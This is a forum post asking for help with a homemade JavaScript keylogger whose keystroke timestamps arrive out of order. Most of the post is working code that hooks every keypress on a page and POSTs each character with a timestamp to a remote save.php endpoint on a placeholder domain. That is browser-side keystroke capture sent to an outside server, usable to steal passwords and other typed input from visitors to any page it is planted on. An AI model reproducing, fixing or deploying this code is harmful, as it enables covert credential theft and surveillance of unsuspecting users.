Hi everyone,
I’m looking for some help if possible please, I’m new with JavaScript and just doing some testing on my own machine (I’ve also tested this on my VPS aswell). I’ve created a little key logged that logs the key strokes on a page, how ever one issue was that the key strokes are not always posted to the url in order. So for example lets say I typed in “QWERTY”, it would POST each key stroke but it may not come in order like “QRWTEY”. I thought one way round this would be to add a timestamp on the entries so that way I can put them in order myself based on the timestamp.
But heres the issue, the timestamp doesn’t seem to be correct and I’m not sure why, so if I typed in QWERTY then you would think that the timestamp for each key stroke would be starting with ! as the earliest key stroke and Y being the last. How ever that doesn’t seem to be the case. for example:
e 02/08/2018 2:22:148
r 02/08/2018 2:22:331
t 02/08/2018 2:22:531
q 02/08/2018 2:22:778
y 02/08/2018 2:22:833
w 02/08/2018 2:22:947
As you can see thats not right, so there must be something wrong with my code but i cant work out what as im only calling for the timestamp to be assigned to each key stroke when there is one and each key stroke is then submitted.
Here is my code, can anyone help me please, it would be much appreciated.
function formatDate(date) {
var hours = date.getHours();
var minutes = date.getMinutes();
var milli = date.getMilliseconds();
minutes = minutes < 10 ? '0'+minutes : minutes;
var strTime = hours + ':' + minutes+ ':' + milli;
return date.getMonth()+1 + "/" + date.getDate() + "/" + date.getFullYear() + " " + strTime;
}
document.onkeypress = function(evt) {
evt = evt || window.event
key = String.fromCharCode(evt.charCode)
if (key) {
var d = new Date();
var e = formatDate(d);
var http = new XMLHttpRequest();
var param = encodeURI(key)
http.open("POST","https://www.DOMAIN.co.uk/test/save.php",true);
http.setRequestHeader("Content-type","application/x-www-form-urlencoded");
http.send("key="+param+" "+e);
}
}
Thank you.